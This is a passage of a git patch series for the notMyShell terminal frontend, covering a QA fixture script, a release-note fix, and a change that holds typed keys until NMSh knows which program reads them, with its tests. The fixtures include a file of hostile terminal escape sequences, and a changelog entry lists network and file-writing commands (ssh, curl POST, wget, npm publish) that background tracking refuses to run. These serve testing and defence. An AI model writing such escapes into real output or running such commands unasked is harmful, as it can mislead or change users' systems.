(docs/testing/v021-physical-qa.md). +# +# scripts/qa/v021-fixtures.sh <new-directory> +# +# Creates, inside <new-directory> (which must not exist yet), a launcher for this checkout's build with an NMSh +# configuration and session service of its own, so the QA build never reads your settings or attaches to your running +# sessions, and the small files the checklist uses. Nothing outside that directory is changed, nothing is downloaded +# or installed, and nothing runs as root. Delete the directory once the results are recorded. +set -euo pipefail + +target=${1:-} +if [ -z "$target" ]; then echo 'usage: scripts/qa/v021-fixtures.sh <new-directory>' >&2; exit 2; fi +case $target in /*) ;; *) target="$PWD/$target" ;; esac +if [ -e "$target" ]; then echo "refusing: $target already exists" >&2; exit 2; fi +repo=$(cd "$(dirname "$0")/../.." && pwd -P) +if [ ! -f "$repo/dist/index.js" ]; then echo "build first: (cd $repo && npm ci && npm run build)" >&2; exit 2; fi +# The session service's socket lives under the directory; Unix socket paths are limited to about 100 bytes. +if [ ${#target} -gt 60 ]; then echo "refusing: $target is longer than 60 characters (session sockets need a short path)" >&2; exit 2; fi + +mkdir -p "$target" +root=$(cd "$target" && pwd -P) +work="$root/work" + +for shell in zsh bash fish; do + mkdir -p "$root/config-$shell/nmsh" "$root/run-$shell" + chmod 700 "$root/run-$shell" + printf '{"onboardingComplete":true,"toolsSetupComplete":true,"shellBackend":"%s"}\n' "$shell" > "$root/config-$shell/nmsh/config.json" +done + +cat > "$root/nmsh" <<EOF +#!/usr/bin/env bash +# The QA build ($repo) with this folder's configuration and session service: ./nmsh [zsh|bash|fish|copy] +# "copy" uses config-copy/nmsh, a copy of an existing configuration you make yourself (see the walkthrough). +profile=\${1:-zsh} +case \$profile in zsh|bash|fish|copy) ;; *) echo 'usage: ./nmsh [zsh|bash|fish|copy]' >&2; exit 2 ;; esac +if [ ! -d "$root/config-\$profile/nmsh" ]; then echo "missing $root/config-\$profile/nmsh" >&2; exit 2; fi +mkdir -p "$root/run-\$profile" && chmod 700 "$root/run-\$profile" +cd "$work" || exit 1 +exec env XDG_CONFIG_HOME="$root/config-\$profile" NMSH_RUNTIME_DIR="$root/run-\$profile" NMSH_DISABLE_UPDATES=1 node "$repo/dist/index.js" +EOF +chmod +x "$root/nmsh" + +# 1. Progress redraws (#388) ------------------------------------------------------------------------------------- +mkdir -p "$work/progress" +cat > "$work/progress/multirow.mjs" <<'EOF' +// Two rows redrawn in place (cursor up, erase line), with log lines printed between frames, as concurrent +// downloads and container pulls draw them. node multirow.mjs [steps] (default 24, a quarter second each). +const steps = Number(process.argv[2] ?? 24); +const sleep = ms => new Promise(done => setTimeout(done, ms)); +const bar = (done, width = 20) => `[${'='.repeat(Math.round(done * width)).padEnd(width)}]`; +const layers = ['layer 1/2 sha256:9f86d081884c', 'layer 2/2 sha256:60303ae22b99']; +process.stdout.write('LOG pulling two layers\n'); +let drawn = 0; +for (let step = 0; step <= steps; step += 1) { + let out = drawn ? `\x1b[${drawn}A` : ''; + if (step > 0 && step % 6 === 0) out += `\x1b[2KLOG checkpoint ${step / 6}\n`; + layers.forEach((name, index) => { + const done = Math.min(1, (step / steps) * (index ? 0.8 : 1.2)); + out += `\x1b[2K${name} ${bar(done)} ${Math.round(done * 100)}%\n`; + }); + process.stdout.write(out); + drawn = layers.length; + await sleep(250); +} +process.stdout.write('LOG done\n'); +EOF +cat > "$work/progress/wrapped.mjs" <<'EOF' +// A progress display that counts the terminal rows it drew (its line is wider than a 40-column window), moves up by +// them, erases below and redraws, as indicatif, pip and cargo do. The LOG lines must all stay. +const sleep = ms => new Promise(done => setTimeout(done, ms)); +const rows = text => Math.max(1, Math.ceil(text.length / (process.stdout.columns || 80))); +process.stdout.write('LOG kept line one\nLOG kept line two\n'); +let drawn = 0; +for (let n = 0; n <= 10; n += 1) { + if (drawn) process.stdout.write(`\r\x1b[${drawn}A\x1b[J`); + const frame = [`Downloading big-archive-name.tar.gz [${'='.repeat(n)}${' '.repeat(10 - n)}] ${n * 10}%`, `eta ${10 - n}s`]; + process.stdout.write(`${frame.join('\n')}\n`); + drawn = frame.reduce((sum, line) => sum + rows(line), 0); + await sleep(300); +} +process.stdout.write('LOG done\n'); +EOF + +# 2. /view -------------------------------------------------------------------------------------------------------- +mkdir -p "$work/view/folder" +cp "$repo/README.md" "$work/view/README.md" +cp "$repo/src/viewer/ViewerPanel.ts" "$work/view/ViewerPanel.ts" +printf '\033]8;;https://example.com\a\033[31mred\033[2J\n' > "$work/view/hostile.txt" +printf 'name\tsize\tnote\nalpha\t1\tfirst\nbeta\t22\tsecond\n' > "$work/view/tabs.txt" +mkfifo "$work/view/fifo" +yes 'a log line for the 8 MiB viewer limit check' | head -c 20971520 > "$work/view/big.log" || true + +# 3. /edit -------------------------------------------------------------------------------------------------------- +mkdir -p "$work/edit/empty" "$work/edit/real" +ln -s real "$work/edit/alias" +printf '\357\273\277line one\r\nline two\r\n' > "$work/edit/crlf-bom.txt" +printf 'keep my mode\n' > "$work/edit/mode640.txt" && chmod 640 "$work/edit/mode640.txt" +printf 'the target\n' > "$work/edit/target.txt" && ln -s target.txt "$work/edit/link.txt" +printf 'read only\n' > "$work/edit/readonly.txt" && chmod 444 "$work/edit/readonly.txt" +yes 'a line for the 1 MiB editor limit check' | head -c 2097152 > "$work/edit/big.txt" || true + +# 4. Semantic Output ---------------------------------------------------------------------------------------------- +mkdir -p "$work/semantic/pass/test" "$work/semantic/fail/test" "$work/semantic/ts/node_modules/.bin" "$work/semantic/c" +for kind in pass fail; do + printf '{"name":"qa-%s","private":true,"scripts":{"test":"node --test"}}\n' "$kind" > "$work/semantic/$kind/package.json" + { + echo "import test from 'node:test';" + echo "import assert from 'node:assert/strict';" + for n in $(seq 1 40); do echo "test('adds case $n', () => assert.equal($n + $n, $((n * 2))));"; done + if [ "$kind" = fail ]; then + echo "test('rounds a price', () => assert.equal(Math.round(2.5), 2));" + echo "test('parses a date', () => assert.equal(new Date('2026-10-18').getUTCDate(), 19));" + fi + } > "$work/semantic/$kind/test/math.test.mjs" +done +printf '{"name":"qa-ts","private":true}\n' > "$work/semantic/ts/package.json" +printf 'const count: number = "three";\nexport const total = count + missingValue;\n' > "$work/semantic/ts/bad.ts" +ln -s "$repo/node_modules/typescript/bin/tsc" "$work/semantic/ts/node_modules/.bin/tsc" +printf 'int main(void) {\n return undefined_name;\n}\n' > "$work/semantic/c/bad.c" +printf 'bad.o: bad.c\n\tcc -c bad.c -o bad.o\n' > "$work/semantic/c/Makefile" + +# A small repository for `git status` (no remote, no hooks, a local identity for its one commit). +mkdir -p "$work/git" +printf 'tracked\n' > "$work/git/tracked.txt" +git -C "$work/git" init -q +git -C "$work/git" add tracked.txt +git -C "$work/git" -c user.name=QA -c user.email=qa@example.invalid -c commit.gpgsign=false commit -q -m 'QA fixture' +printf 'untracked\n' > "$work/git/untracked.txt" + +# 5. /track ------------------------------------------------------------------------------------------------------- +mkdir -p "$work/track" +printf 'one\ntwo\nthree\n' > "$work/track/f.txt" + +# 6. Modules ------------------------------------------------------------------------------------------------------ +mkdir -p "$work/modules/bun-app" +printf '{"name":"bun-app","private":true,"packageManager":"bun@1.1.30"}\n' > "$work/modules/bun-app/package.json" +printf '{"lockfileVersion": 1}\n' > "$work/modules/bun-app/bun.lock" + +printf 'QA fixtures ready in %s\nStart the QA build with: %s/nmsh (or: %s/nmsh fish, %s/nmsh bash)\n' "$root" "$root" "$root" "$root" From debbffbe52c5afe98be091cc16e73aafb02360ab Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Sun, 18 Oct 2026 21:29:37 +0530 Subject: [PATCH 045/157] llms.txt: the latest published stable release is v0.20.0, not v0.18.0 The v0.20.0 release updated the other release pointers (README, ROADMAP, AGENTS, SECURITY, CONTRIBUTING) but not this one. --- llms.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/llms.txt b/llms.txt index 65fb4d87..784db687 100644 --- a/llms.txt +++ b/llms.txt @@ -1,6 +1,6 @@ # notMyShell (NMSh) -Latest published stable release: v0.18.0 (see CHANGELOG.md). Homebrew is the recommended macOS install: brew install raiseCatError/tap/nmsh. Source installation remains available. +Latest published stable release: v0.20.0 (see CHANGELOG.md). Homebrew is the recommended macOS install: brew install raiseCatError/tap/nmsh. Source installation remains available. notMyShell is a terminal frontend that runs on top of a real persistent shell instead of replacing the shell. From 6b3a06e89ca5796ef276a9357a01e148ce7e9f09 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Sun, 18 Oct 2026 21:39:32 +0530 Subject: [PATCH 046/157] v0.21 QA walkthrough: name the folder for 4.5 and the no-color 4.7 --- docs/testing/v021-physical-qa.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/docs/testing/v021-physical-qa.md b/docs/testing/v021-physical-qa.md index 2206075d..f6f4b2bd 100644 --- a/docs/testing/v021-physical-qa.md +++ b/docs/testing/v021-physical-qa.md @@ -77,8 +77,8 @@ hung)`; a screenshot helps. Each result is recorded in the table with the build 3.9 `/edit edit/alias/new.txt` (`alias` links to `real`). 4. **Semantic Output.** 4.1 `cd semantic/pass && npm test` (40 passing tests stand in for this repository's suite). 4.2 `cd ../fail && npm test` (2 failing). 4.3 `cd ../ts && npx --no-install tsc --noEmit bad.ts` (2 errors); `cd - ../c && make` (1 error). 4.4 `cd ../../git && git status`, `ls`, `cat tracked.txt`. 4.5 back in `semantic/fail`, - `npm test`, then as listed, with `pbpaste` after each copy. 4.6 as listed. 4.7 in step 8. `cd ../..` when done. + ../c && make` (1 error). 4.4 `cd ../../git && git status`, `ls`, `cat tracked.txt`. 4.5 `cd ../semantic/fail && + npm test`, then as listed, with `pbpaste` after each copy. 4.6 as listed. 4.7 in step 8. `cd ../..` when done. 5. **`/track`.** 5.1 `/track df -h`; `/track --every 5s -- docker system df` is optional (read-only, but it asks your Docker daemon every 5 s). 5.2 `/track --every 2s -- cat track/f.txt`; second tab: `seq 1 2 > /Volumes/T7Tmp/ai-dev/q21/work/track/f.txt`, then `seq 1 40 > …`. 5.3–5.7 as listed (5.7's `/tmp/t` commands are @@ -94,8 +94,8 @@ hung)`; a screenshot helps. Each result is recorded in the table with the build Support/notMyShell/config.json" /Volumes/T7Tmp/ai-dev/q21/config-copy/nmsh/` and `/Volumes/T7Tmp/ai-dev/q21/nmsh copy`: the theme and prompt saved by your v0.20 install load unchanged (only the copy can change). 8. **No color and Safe glyphs** (2.9, 4.7, 5.11, 7.4). `exit`, relaunch as `NO_COLOR=1 /Volumes/T7Tmp/ai-dev/q21/nmsh`, - Settings → Appearance → Safe glyphs, then 2.9 on `view/README.md`, 4.7 in `semantic/fail` at 40 columns, 5.11 with - `/track df -h`. Then 7.4's second half: `exit`, relaunch as `env -u COLORTERM TERM=xterm-256color + Settings → Appearance → Safe glyphs, then 2.9 on `view/README.md`, 4.7 with `cd semantic/fail && npm test` at 40 + columns (`cd ../..` after), 5.11 with `/track df -h`. Then 7.4's second half: `exit`, relaunch as `env -u COLORTERM TERM=xterm-256color /Volumes/T7Tmp/ai-dev/q21/nmsh` and switch between two new themes. ### Sitting B: Terminal.app, Fish (passes 1, 3 and 5, about 20 minutes) From 6958c277e4c96de2a7a17780d66b0654c29a9af2 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Sun, 18 Oct 2026 23:06:13 +0530 Subject: [PATCH 047/157] Input ownership: keys wait for the look, however long a loaded machine makes it MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit #426: under heavy load, a reply typed right after starting a prompt-less read (`read -r reply`, `read -s`, `read -k 1`) was routed before NMSh knew who read it. The frontend held such keys for at most 800 ms while the session looked; a look that took longer (a prompt-less line read needs two process-table samples, and each starts stty and ps) released them without evidence, so Enter queued the reply and the read kept waiting. A password typed at once for a prompt-less `read -s` became a queued shell command, and under load a hidden reply could be drawn in the composer before the look confirmed it. - TerminalApp: held keys are routed when the look answers, bounded at 5 s (a look is itself bounded by its probes' timeouts). Until then nothing typed is drawn, sent or queued. After 800 ms the composer says "Checking whether <program> is waiting for input · your typing is kept", so nobody types it again. The exec wait before the look uses the same bound. Ctrl+C still releases at once; a look that answers quickly (the usual case) adds no delay. - InputWatch: a first sample that finds a process on a CPU with nothing earlier to compare is "runnable", not computing. When the shell holds its terminal, the follow-up sample decides, so a builtin still runnable for a moment before it blocks in read is not taken for a busy shell. Every other case keeps its previous meaning. Deterministic regressions drive a look the test settles on mocked timers: replies to prompt-less line, hidden and prompted (sudo) reads typed at once are never queued, drawn or run; keys after a held Enter stay behind it; a look that never answers releases at the bound; the command ending while keys are held runs the line once as the next command; quick looks add no delay. Seven of them fail on the previous code. Refs #426 --- CHANGELOG.md | 1 + docs/design/input-awareness.md | 11 +- src/app/TerminalApp.ts | 23 +++- src/session/InputWatch.ts | 37 +++-- tests/inputAwareness.test.ts | 47 +++++++ tests/inputOwnershipLook.test.ts | 229 +++++++++++++++++++++++++++++++ 6 files changed, 332 insertions(+), 16 deletions(-) create mode 100644 tests/inputOwnershipLook.test.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index 41472b72..28d343b0 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -27,6 +27,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/). - Paste review and `/track`: a redirect into a file is recognized wherever `>/dev/null` also appears (`echo x > ~/.zshrc 2>/dev/null` was labelled read-only), and `>|` is a redirection, not a pipe. - `/track` and `/watch` no longer start, without asking, commands that change things through the network or another command: `env <command>`, `NAME=value` prefixes, git's `-c`/`--ext-diff`, `npm publish`/`login`/`x`, `pnpm dlx`, `ssh`, `curl -X POST`/`-d`/`-o file`, plain `wget`; options that write files (`git … --output`, `sort -o`, `jest -u`, `--fix`) are refused. Read-only probes (`ping`, `dig`, `nc -z`, a curl GET) still start at once, and `npm test 2>&1` is no longer refused as a background job ([#393](https://github.com/raiseCatError/notMyShell/issues/393)). - `/track stop` and a closing window end every process a tracked command left in its process group, including one that ignored TERM; a tracker whose directory disappeared names it instead of reporting `spawn /bin/sh ENOENT`. +- On a heavily loaded machine, a reply typed right after starting a command that reads without a prompt (`read -r reply`, `read -s`, `read -k 1`) is no longer queued as the next command, and a password typed before NMSh could check is no longer shown in the composer ([#426](https://github.com/raiseCatError/notMyShell/issues/426)). Keys typed while NMSh is still checking whether the running command reads input now wait for that check instead of being routed after 0.8 s: on an idle machine nothing changes, and when the check takes longer the composer says `Checking whether … is waiting for input · your typing is kept` (at most 5 s, after which typing is routed as before). Before, a password typed at once for a prompt-less `read -s` could be queued as a shell command. ## [0.20.0] - 2026-10-18 diff --git a/docs/design/input-awareness.md b/docs/design/input-awareness.md index 1f7f529a..9db06d0e 100644 --- a/docs/design/input-awareness.md +++ b/docs/design/input-awareness.md @@ -65,8 +65,15 @@ Probes back off (every 10 s after a minute of quiet), and the first look comes 1 typed in that time would be routed on no evidence. So the frontend holds the keys that decide where typing goes, the first key of a draft and an Enter that would queue, and asks the session to look now (`input-look`, answered by `input-looked` after any `input-state` the look produced). Keys typed right after Enter wait for the shell's exec first. -The hold ends when the look is done, when evidence arrives, or after 800 ms, and the keys are then routed on what is -known, in the order typed. A program that took the terminal meanwhile (Fish's reader) gets them as raw keys. Ctrl+C is +The hold ends when the look is done or when evidence arrives, and the keys are then routed on what is known, in the +order typed. Until then nothing typed is drawn, sent or queued: the keys may be a hidden reply, and an Enter may answer +the command or queue the next one (#426). A look usually takes tens of milliseconds, but on a loaded machine it can take +seconds (a prompt-less line read needs two samples, and each starts `stty` and `ps`); after 800 ms the composer says +`Checking whether … is waiting for input · your typing is kept`, so nobody types it again. The hold is bounded at 5 s, +after which the keys are routed on what is known. A first sample that finds the shell holding its terminal while still +on a CPU, with nothing earlier to compare, is not taken as computing: on a loaded machine the shell is runnable for a +moment before its builtin blocks in `read`, so the follow-up sample decides. A program that took the terminal +meanwhile (Fish's reader) gets the keys as raw keys. Ctrl+C is never held, and typing right after Ctrl+C or Ctrl+Z stays type-ahead for the prompt. Both ends negotiate the feature; an older service is never asked and behaves as before. diff --git a/src/app/TerminalApp.ts b/src/app/TerminalApp.ts index 62148e4a..64323601 100644 --- a/src/app/TerminalApp.ts +++ b/src/app/TerminalApp.ts @@ -422,8 +422,13 @@ const WARNING = lazyForeground(UI_COLORS.warning); const ERROR = lazyForeground(UI_COLORS.failure); /** How long after Ctrl+C or Ctrl+Z typing is taken as type-ahead for the shell prompt rather than queued. */ const STOP_TYPE_AHEAD_MS = 2000; -/** Longest a key waits for an on-demand look at the running command's input state before it is routed anyway. */ -const OWNERSHIP_LOOK_MS = 800; +/** + * Keys held for an on-demand look at the running command's input state are routed when the look answers. A look is + * itself bounded (two probes of at most 1.5 s each); this only guards against an answer that never comes. + */ +const OWNERSHIP_LOOK_MS = 5000; +/** A look still running after this long (a loaded machine) says so in the composer: the typing is kept, not lost. */ +const OWNERSHIP_LOOK_SLOW_MS = 800; /** How long after confirming a queue review an empty Enter is not sent to the command that just started. */ const QUEUE_CONFIRM_SETTLE_MS = 600; /** The transcript keeps at least this many rows when the expanded queue takes some (as withQueueRows does). */ @@ -847,7 +852,7 @@ export class TerminalApp { * Keys held while the session looks whether the running command waits for input: the first key of a draft (a * hidden reply is never drawn) and an Enter that would queue (a reply never becomes a queued command). */ - private ownershipLook?: {keys: Key[]; startId: number; answering: boolean; release: () => void}; + private ownershipLook?: {keys: Key[]; startId: number; answering: boolean; slow: boolean; release: () => void}; private replayingHeld = false; /** * The queue review a first empty Enter armed at idle (resume a paused queue, or approve the entry that asks first). @@ -11453,6 +11458,7 @@ export class TerminalApp { if (this.queueCompose) return {text: 'Queue a command · Enter adds it · Esc returns to the program', waiting: false}; const request = this.inputState?.request; const program = request ? inputProgram(request, this.running.command) : commandWords(this.running.command)[0] ?? 'the program'; + if (this.ownershipLook?.slow) return {text: `Checking whether ${program} is waiting for input · your typing is kept`, waiting: false}; // A waiting program gets the one instruction, with or without a queue; a question NMSh has not yet probed reads // as a line. if (this.answersByDefault()) return {text: inputComposerHint(request ?? {since: 0, confidence: 'likely', mode: 'line'}, program, this.queueAvailable()), waiting: true}; @@ -11878,7 +11884,11 @@ export class TerminalApp { return key.kind === 'enter' && Boolean(text.trim()) && !isSlashInput(text) && this.queueAvailable() && !this.answersByDefault(); } - /** Hold the key (and any typed after it) until the session has looked, then route them on that evidence. */ + /** + * Hold the key (and any typed after it) until the session has looked, then route them on that evidence. Until then + * nothing typed is drawn, sent or queued: it may be a hidden reply, and its Enter may answer the command or queue the + * next one. On a loaded machine the look can take seconds (#426); the composer then says the typing is kept. + */ private holdForOwnershipLook(key: Key): void { const running = this.running!; const keys = [key]; @@ -11887,6 +11897,7 @@ export class TerminalApp { if (released) return; released = true; clearTimeout(timer); + clearTimeout(slow); if (this.ownershipLook?.keys === keys) this.ownershipLook = undefined; // The command ended while NMSh looked. A reply to its open question is discarded, never run; anything else // is what it would have been without the look: typing for the next command, Enter running it after. @@ -11907,7 +11918,9 @@ export class TerminalApp { }; const timer = setTimeout(release, OWNERSHIP_LOOK_MS); timer.unref?.(); - const hold = {keys, startId: running.startId, answering: this.answersByDefault(), release}; + const slow = setTimeout(() => { hold.slow = true; this.render(); }, OWNERSHIP_LOOK_SLOW_MS); + slow.unref?.(); + const hold = {keys, startId: running.startId, answering: this.answersByDefault(), slow: false, release}; this.ownershipLook = hold; void this.lookWhenStarted(running.startId, Date.now() + OWNERSHIP_LOOK_MS).then(release, release); } diff --git a/src/session/InputWatch.ts b/src/session/InputWatch.ts index b3d64110..9ef44b0c 100644 --- a/src/session/InputWatch.ts +++ b/src/session/InputWatch.ts @@ -60,6 +60,13 @@ const BUSY_SHARE = 0.25; /** The second sample when the first saw the shell holding the terminal: soon, so a prompt-less `read` is seen in time. */ const FOLLOW_UP_MS = 100; +/** + * What two samples say about the foreground group's CPU use. true: computing (on a CPU while measured, or using one + * between samples); false: idle between this sample and the previous one; 'runnable': on a CPU in this sample with + * nothing earlier to compare, which alone does not say it computes; undefined: not yet known. + */ +type Busy = boolean | 'runnable' | undefined; + const defaultTimer = (callback: () => void, ms: number) => { const timer = setTimeout(callback, ms); timer.unref?.(); @@ -282,14 +289,20 @@ export class InputWatch extends EventEmitter<InputWatchEvents> { this.emit('change', this.state); } - private decide(sample: TerminalSample, busy: boolean | undefined, now: number): {confidence: 'confirmed' | 'likely'; mode: InputMode} | undefined { + private decide(sample: TerminalSample, busy: Busy, now: number): {confidence: 'confirmed' | 'likely'; mode: InputMode} | undefined { const modes = sample.modes; const mode: InputMode = !modes ? 'line' : !modes.canonical ? 'key' : !modes.echo ? 'hidden' : 'line'; if (sample.readingTerminal === true) return {confidence: 'confirmed', mode}; // The kernel says every foreground thread is blocked on something other than the terminal. if (sample.readingTerminal === false || busy === true) return undefined; - if (modes && modes.canonical && !modes.echo) return {confidence: 'confirmed', mode: 'hidden'}; const shellHolds = shellHoldsTerminal(sample.foreground); + if (busy === 'runnable') { + // On a CPU in the only sample there is. On a loaded machine the shell is still runnable for a moment after + // writing its exec marker, before its builtin blocks in read: the follow-up says whether it computes. + if (shellHolds && modes) this.followUp = true; + return undefined; + } + if (modes && modes.canonical && !modes.echo) return {confidence: 'confirmed', mode: 'hidden'}; if (modes && !modes.canonical) return this.line.open || shellHolds ? {confidence: 'confirmed', mode: 'key'} : undefined; // Ordinary line input: only a question left open, quiet output, and an idle group seen across two samples. if (busy === false && this.line.open && promptShaped(this.line.line) && now - this.lastOutput >= LIKELY_QUIET_MS) return {confidence: 'likely', mode: 'line'}; @@ -303,20 +316,26 @@ export class InputWatch extends EventEmitter<InputWatchEvents> { return undefined; } - /** true: computing; false: idle between this sample and the previous one; undefined: not yet known. */ - private busy(foreground: ForegroundProcess[], now: number): boolean | undefined { + private busy(foreground: ForegroundProcess[], now: number): Busy { if (!foreground.length) return undefined; - let known = !foreground.some(item => item.state.startsWith('R')) ? true : undefined; - let busy = known === undefined; + let busy = false; + let measured = true; + let runnable = false; for (const item of foreground) { + const onCpu = item.state.startsWith('R'); const before = this.previous.get(item.pid); - if (item.cpuMs === undefined || !before) { if (known) known = false; continue; } + if (item.cpuMs === undefined || !before) { + measured = false; + if (onCpu) runnable = true; + continue; + } const elapsed = now - before.at; - if (elapsed > 0 && (item.cpuMs - before.cpuMs) / elapsed > BUSY_SHARE) busy = true; + if (onCpu || (elapsed > 0 && (item.cpuMs - before.cpuMs) / elapsed > BUSY_SHARE)) busy = true; } this.remember(foreground, now); if (busy) return true; - return known ? false : undefined; + if (runnable) return 'runnable'; + return measured ? false : undefined; } private remember(foreground: ForegroundProcess[], now: number): void { diff --git a/tests/inputAwareness.test.ts b/tests/inputAwareness.test.ts index c10e66f9..852509c1 100644 --- a/tests/inputAwareness.test.ts +++ b/tests/inputAwareness.test.ts @@ -281,6 +281,53 @@ test('watch: lookNow samples at once, outside the backed-off schedule; nothing r assert.equal(line.watch.state.request, undefined); }); +test('watch (#426): a first sample that catches the shell still on a CPU is not proof it computes; the follow-up decides', async () => { + // A loaded machine: the shell wrote its exec marker and is about to block in `read`, but is still runnable when the + // first look samples it. With nothing earlier to compare, one sample cannot say it computes. + const h = harness("read -r QA_REPLY; printf 'ANSWER=%s\\n' \"$QA_REPLY\""); + h.set({modes: lineModes, foreground: shellFg('Rs+', 10)}); + const looked = h.watch.lookNow(); + for (let index = 0; index < 5; index++) await Promise.resolve(); + h.set({modes: lineModes, foreground: shellFg('Ss+', 10)}); + await h.advance(100); + await looked; + assert.equal(h.watch.state.request?.confidence, 'likely', 'blocked and idle in the follow-up: a line read'); + assert.equal(h.watch.state.request?.mode, 'line'); + + // The same with line input off (`read -k 1`): confirmed key input once the follow-up sees it blocked. + const key = harness('read -k 1 x; echo got:$x'); + key.set({modes: keyModes, foreground: shellFg('Rs+', 10)}); + const keyLooked = key.watch.lookNow(); + for (let index = 0; index < 5; index++) await Promise.resolve(); + key.set({modes: keyModes, foreground: shellFg('Ss+', 10)}); + await key.advance(100); + await keyLooked; + assert.equal(key.watch.state.request?.mode, 'key'); + assert.equal(key.watch.state.request?.confidence, 'confirmed'); + + // A shell that is computing stays not waiting: on a CPU in both samples, and using it in between. + const busy = harness('while :; do :; done'); + busy.set({modes: lineModes, foreground: shellFg('Rs+', 10)}); + const busyLooked = busy.watch.lookNow(); + for (let index = 0; index < 5; index++) await Promise.resolve(); + busy.set({modes: lineModes, foreground: shellFg('Rs+', 90)}); + await busy.advance(100); + await busyLooked; + assert.equal(busy.watch.state.request, undefined); + assert.ok(busy.changes.every(state => !state.request), 'never reported, not even for a moment'); + + // Another program on a CPU with no prompt and ordinary line settings: still nothing, and the look ends after its one + // sample (it settles without the follow-up timer running). + const other = harness('make'); + other.set({modes: lineModes, foreground: fg('R+', 10, 'make')}); + let otherDone = false; + const otherLooked = other.watch.lookNow().then(() => { otherDone = true; }); + await new Promise(done => setImmediate(done)); + assert.equal(otherDone, true, 'no follow-up was asked for'); + await otherLooked; + assert.equal(other.watch.state.request, undefined); +}); + test('watch: no false positives for builds, sleep, network waits, progress bars, statuses or log streams', async () => { // A build that printed a colon-ended status and is computing. const build = harness('make'); diff --git a/tests/inputOwnershipLook.test.ts b/tests/inputOwnershipLook.test.ts new file mode 100644 index 00000000..b95b7bcc --- /dev/null +++ b/tests/inputOwnershipLook.test.ts @@ -0,0 +1,229 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import type {QueueOp} from '../src/session/CommandQueue.js'; +import type {InputState} from '../src/session/inputState.js'; +import {stripAnsi} from '../src/util/text.js'; +import {executionFrameFixture} from './support/executionTimelineFrames.js'; + +/** + * #426: while a command runs and NMSh has no evidence yet that it reads input, the keys that decide where typing goes + * (the first key of a draft, an Enter that would queue) wait for an on-demand look. On a loaded machine that look can + * take longer than 800 ms. The keys then stay held until it answers (at most 5 s): they may be a hidden reply, and the + * Enter decides whether the line answers the command or is queued. The composer says the typing is kept. + * + * Deterministic: the look is a promise the test settles, and the deadlines run on mocked timers. Every key goes + * through the real TerminalApp key handler; no shell is started. + */ + +const READ = `read -r QA_REPLY; printf 'ANSWER=%s\\n' "$QA_REPLY"`; +const SECRET = 'QSECRETQ'; +/** When a look still running says so in the composer. */ +const SLOW_MS = 800; +/** The bound on keys waiting for a look that does not answer. */ +const BOUND_MS = 5000; + +function fixture() { + const frame = executionFrameFixture(80, 30); + const written: string[] = []; + const queueOps: QueueOp[] = []; + Object.defineProperty(frame.session, 'write', {value: (data: string) => { written.push(data); }, configurable: true}); + const originalQueue = frame.session.queue.bind(frame.session); + Object.defineProperty(frame.session, 'queue', {value: (op: QueueOp) => { queueOps.push(op); originalQueue(op); }, configurable: true}); + let looks = 0; + let settle: (looked: boolean) => void = () => {}; + /** Every look stays open until the test settles it. */ + const slowLooks = () => Object.defineProperty(frame.session, 'lookInput', {value: () => { + looks += 1; + return new Promise<boolean>(resolve => { settle = resolve; }); + }, configurable: true}); + /** Every look answers at once, as it does on an idle machine. */ + const quickLooks = () => Object.defineProperty(frame.session, 'lookInput', {value: async () => { looks += 1; return true; }, configurable: true}); + const type = (text: string) => { for (const char of text) frame.app['onInput'](char); }; + const enter = () => frame.app['onInput']('\r'); + const text = () => frame.app['editor'].text as string; + const adds = () => queueOps.filter(op => op.op === 'add').map(op => (op as {text: string}).text); + const screen = () => frame.capture().frame.rows.map(line => stripAnsi(line)).join('\n'); + /** The session reports what the look found, before it says the look is done (as the protocol orders them). */ + const found = (request: NonNullable<InputState['request']>) => { + frame.session.emit('inputState', {request, timing: {waitedMs: 0, waits: 0}}); + settle(true); + }; + return {...frame, written, slowLooks, quickLooks, type, enter, text, adds, screen, found, looks: () => looks, settle: () => settle(true)}; +} + +const settled = () => new Promise(done => setImmediate(done)); +const KEPT = /Checking whether \S+ is waiting for input · your typing is kept/u; + +test('#426: a reply to a prompt-less read is not queued when the look outlasts 800 ms', async t => { + const f = fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + f.slowLooks(); + f.begin(READ); + f.type('hello'); + f.enter(); + t.mock.timers.tick(SLOW_MS + 100); + assert.deepEqual(f.adds(), [], 'the Enter waits for the look: it is not queued'); + assert.deepEqual(f.written, [], 'nothing reached the program yet'); + assert.equal(f.text(), '', 'nothing is drawn as a draft before NMSh knows who reads it'); + assert.match(f.screen(), KEPT, 'the composer says the typing is kept'); + // The look finds the shell's own read, holding its terminal and idle. + f.found({since: 0, confidence: 'likely', mode: 'line'}); + await settled(); + assert.deepEqual(f.written, ['hello\r'], 'the answer reaches the read, once'); + assert.deepEqual(f.adds(), [], 'nothing was queued'); + assert.equal(f.text(), ''); + assert.doesNotMatch(f.screen(), KEPT, 'the note goes with the hold'); + } finally { f.dispose(); } +}); + +test('#426: a hidden reply typed before NMSh could look is never drawn, queued or run', async t => { + for (const [command, output] of [['read -s REPLY', ''], ['sudo -k true', 'Password:']] as const) { + const f = fixture(); + try { + t.mock.timers.reset(); + t.mock.timers.enable({apis: ['setTimeout']}); + f.slowLooks(); + f.begin(command, output); + f.type(SECRET); + f.enter(); + for (const at of [SLOW_MS - 1, 1, 1000, 2000]) { + t.mock.timers.tick(at); + assert.equal(f.screen().includes(SECRET), false, `${command}: the reply is not on screen ${at} ms on`); + } + assert.deepEqual(f.adds(), [], `${command}: a password never becomes a queued shell command`); + assert.equal(f.text(), ''); + f.found({since: 0, confidence: 'confirmed', mode: 'hidden'}); + await settled(); + assert.equal(f.written.join(''), `${SECRET}\r`, `${command}: the hidden line and its Enter go to the program, in order`); + assert.deepEqual(f.adds(), []); + assert.equal(f.screen().includes(SECRET), false, `${command}: never drawn`); + } finally { f.dispose(); } + } +}); + +test('#426: keys typed after a held Enter stay behind it, in order', async t => { + const f = 